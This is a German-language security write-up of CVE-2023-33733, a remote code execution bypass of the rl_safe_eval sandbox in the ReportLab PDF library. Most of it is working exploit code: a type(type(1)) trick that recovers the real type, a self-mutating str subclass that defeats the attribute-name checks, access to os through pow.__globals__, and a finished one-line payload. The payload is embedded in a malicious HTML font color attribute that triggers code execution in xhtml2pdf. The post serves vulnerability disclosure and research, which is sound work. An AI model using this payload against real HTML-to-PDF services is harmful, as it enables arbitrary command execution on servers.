
CVE-2023-33733 reportlab RCE
tl;dr In diesem Beitrag wird beschrieben, wie eine RCE (Remote Code Execution) in Reportlab gefunden und ausgenutzt wurde. Aufgrund der weiten Verbreitung von Reportlab bei der HTML-zu-PDF-Verarbeitung könnte diese Schwachstelle in vielen Anwendungen erreichbar sein, die PDF-Dateien verarbeiten. Daher ist es wichtig, sie zu patchen und im Auge zu behalten.
Vor einigen Tagen ist uns bei einem Webanwendungs-Audit aufgefallen, dass die Anwendung die Python-Bibliothek Reportlab nutzte, um PDF-Dateien dynamisch aus HTML-Eingaben zu erzeugen. Es stellte sich heraus, dass Reportlab eine zuvor bereits gepatchte Schwachstelle aufweist, die zur Codeausführung führt. Das bedeutet, dass das Finden eines Bypasses für den Patch aus Sicht eines Angreifers ziemlich interessant war, da dies zur Wiederentdeckung der Codeausführung führen würde – zumal die Reportlab-Bibliothek auch in anderen Anwendungen und Tools eingesetzt wird.
Zunächst eine kurze Einführung: Reportlab ist ein Open-Source-Projekt, das die Erstellung von Dokumenten im Portable Document Format (PDF) von Adobe mithilfe der Programmiersprache Python ermöglicht. Es erstellt außerdem Diagramme und Datengrafiken in verschiedenen Bitmap- und Vektorformaten sowie PDF.
Die Bibliothek hatte 2019 einen ähnlichen Exploit, der zu Remote Code Execution über das Color-Attribut der HTML-Tags führte. Der Inhalt des Attributs wurde direkt als Python-Ausdruck mit der eval-Funktion ausgewertet, was zur Codeausführung führte. Um das Problem zu entschärfen, hat Reportlab eine Sandbox namens rl_safe_eval implementiert, die von allen Python-Builtins-Funktionen befreit ist und mehrere überschriebene Builtin-Funktionen enthält, um die Ausführung des sicheren Codes der Bibliothek zu ermöglichen, während der Zugriff auf gefährliche Funktionen und Bibliotheken unterbunden wird, die anschließend zur Konstruktion gefährlichen Python-Codes führen könnten.
Ein Beispiel für diese Schutzmaßnahmen ist, dass die Builtin-Funktion getattr durch eine eingeschränkte Funktion __rl_getitem__ überschrieben wird, die den Zugriff auf gefährliche Attribute von Objekten verbietet, beispielsweise auf solche, die mit __ beginnen:
class __RL_SAFE_ENV__(object):
__time_time__ = time.time
__weakref_ref__ = weakref.ref
__slicetype__ = type(slice(0))
def __init__(self, timeout=None, allowed_magic_methods=None):
self.timeout = timeout if timeout is not None else self.__rl_tmax__
self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True
else allowed_magic_methods) if allowed_magic_methods else []
#[...]
# IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION
# THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
#[...]
def __rl_getattr__(self, obj, a, *args):
if isinstance(obj, strTypes) and a=='format':
raise BadCode('%s.format is not implemented' % type(obj))
# MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT
# TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT
self.__rl_is_allowed_name__(a)
return getattr(obj,a,*args)
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
# NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Die zuvor beschriebene sichere Auswertung (safe eval) bereinigt die Umgebung von allen gefährlichen Funktionen, sodass ausgeführter Code keinen Zugriff auf gefährliche Werkzeuge hat, die für bösartige Aktionen genutzt werden könnten. Falls jedoch ein Bypass für diese Einschränkungen gefunden wird und der Zugriff auf eine der ursprünglichen Builtins-Funktionen gelingt, würde das die Ausnutzung der Sandbox-Umgebung erheblich erleichtern.
Eine der vielen überschriebenen Builtin-Klassen heißt type. Wenn diese Klasse mit einem Argument aufgerufen wird, gibt sie den Typ eines Objekts zurück. Wenn sie jedoch mit drei Argumenten aufgerufen wird, gibt sie ein neues Typobjekt zurück. Dies ist im Wesentlichen eine dynamische Form der class-Anweisung. Mit anderen Worten: Sie kann die Erstellung einer neuen Klasse ermöglichen, die von einer anderen Klasse erbt.
Die Idee hier ist also, eine neue Klasse namens Word zu erstellen, die von str erbt. Wenn sie an das benutzerdefinierte getattr übergeben wird, würde sie die Prüfungen umgehen und den Zugriff auf sensible Attribute wie __code__ ermöglichen.
Bevor das benutzerdefinierte getattr in der Sandbox-Umgebung das Attribut zurückgibt, führt es einige Prüfungen durch, indem es __rl_is_allowed_name__ aufruft, um die Sicherheit des aufgerufenen Attributs zu überprüfen, bevor es den Python-Builtin getattr aufruft und das Ergebnis zurückgibt.
def __rl_is_allowed_name__(self, name):
"""Check names if they are allowed.
If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`
are additionally allowed although their names start with `_`.
"""
if isinstance(name,strTypes):
if name in __rl_unsafe__ or (name.startswith('__')
and name!='__'
and name not in self.allowed_magic_methods):
raise BadCode('unsafe access of %s' % name)
Um die __rl_is_allowed_name__-Funktion zu umgehen, sollte die Word-Klasse:
startswith immer False zurückgeben, um (name.startswith('__') zu umgehen.__eq__ False zurückgeben, um name in __rl_unsafe__ zu umgehen; nach dem ersten Aufruf sollte sie die korrekte Antwort zurückgeben, denn wenn __eq__ vom Python-Builtin getattr aufgerufen wird, sollte es das korrekte Ergebnis liefern.Die folgende Klasse erfüllt diese Kriterien:
Word = type('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
code = Word('__code__')
print(code == '__code__') ## prints False
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code == '__code__') ## prints True
print(code.startswith('__')) ## prints False
Die benutzerdefinierte type-Funktion in der sicheren Auswertung erlaubt nicht, drei Argumente zu übergeben:
def __rl_type__(self,*args):
if len(args)==1: return type(*args)
raise BadCode('type call error')
Ein Bypass dafür wurde gefunden, indem type auf sich selbst aufgerufen wird, wodurch die ursprüngliche Builtin-Funktion type abgerufen werden kann:
orgTypeFun = type(type(1))
Die Kombination dieser beiden Codezeilen würde etwa so aussehen:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated' : 1,
'startswith': lambda self, x: False,
'__eq__' : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate' : lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__' : lambda self: hash(str(self))
})
Der ursprüngliche Exploit hatte mehrere Einschränkungen, die ihn nur unter Python 3.10 ausnutzbar machten. Um diese Probleme zu lösen, wurde ein neuer Ansatz entwickelt, um auf das Python-Modul os zuzugreifen.
Die Reportlab-Bibliothek überschreibt die Implementierung mehrerer Builtin-Funktionen und injiziert sie als Globals in den eval-Kontext.
Beispiel für von benutzerdefinierten Funktionen in rl_safe_eval.py überschriebene Standard-Builtins:
__rl_builtins__['getattr'] = self.__rl_getattr__
__rl_builtins__['dict'] = __rl_dict__
__rl_builtins__['iter'] = self.__rl_getiter__
__rl_builtins__['pow'] = self.__rl_pow__
__rl_builtins__['list'] = self.__rl_list__
__rl_builtins__['type'] = self.__rl_type__
__rl_builtins__['max'] = self.__rl_max__
Da diese Funktionen im globalen Kontext erstellt werden, kann über das __globals__-Attribut dieser benutzerdefinierten Funktionen auf globale Variablen und Module zugegriffen werden.
Der folgende Code sollte im eval-Kontext ausgeführt werden
globalOsModule = pow.__globals__['os']
globalOsModule.system('touch /tmp/exploited')
Jetzt bleibt nur noch, den Exploit zu schreiben:
Dazu wird eine Funktion aus dem Bytecode einer kompilierten Funktion rekonstruiert:
orgTypeFun = type(type(1))
Word = orgTypeFun('Word', (str,), {
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self))
})
globalsattr = Word('__globals__')
glbs = getattr(pow,globalsattr)
glbs['os'].system('touch /tmp/exploited')
Ein mehrzeiliger Ausdruck wie dieser wird jedoch in einem eval-Kontext nicht ausgeführt. Um dieses Problem zu umgehen, kann der Trick mit dem list comprehension verwendet werden, etwa so:
[print(x) for x in ['hellworld']]
# which would be equivalent to
x='helloworld'
print(x)
[[ print (x + ' ' + y) for y in ['second var']] for x in ['first var']]
# which would be equivalent to
x='first var'
x='second var'
print (x + ' ' + y)
Mit dieser Technik kann der Exploit-Code in einer einzigen Codezeile neu geschrieben werden (das zählt als eine Zeile x) – die Mehrzeiligkeit hier dient nur der Formatierung, um die Lesbarkeit des Exploits zu erhöhen. Die Deklarationen sollten von unten nach oben gelesen werden x), klingt seltsam, funktioniert aber so):
[
[
getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
for Word in [
orgTypeFun(
'Word',
(str,),
{
'mutated': 1,
'startswith': lambda self, x: False,
'__eq__': lambda self, x: self.mutate()
and self.mutated < 0
and str(self) == x,
'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
'__hash__': lambda self: hash(str(self)),
},
)
]
]
for orgTypeFun in [type(type(1))]
]
Bitte beachten Sie die Datei poc.py, da sie einen Proof of Concept enthält, der die Codeausführung demonstriert (bei erfolgreicher Ausnutzung wird eine Datei namens exploited in /tmp/ erstellt).
Viele Anwendungen und Bibliotheken nutzen die Reportlab-Bibliothek. Beispielsweise ist das Dienstprogramm xhtml2pdf verwundbar und kann bei der Umwandlung von schädlichem HTML in PDF unter Codeausführung leiden.
cat >mallicious.html <<EOF
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
exploit
</font></para>
EOF
xhtml2pdf mallicious.html
ls -al /tmp/exploited
Ich möchte Matthias Weckbecker für seine Zusammenarbeit und den wunderbaren Austausch danken, bei dem wir die Schwachstellen des ursprünglichen Exploits diskutiert haben. Nun funktioniert der Exploit nahtlos auf allen Versionen von Python 3 :D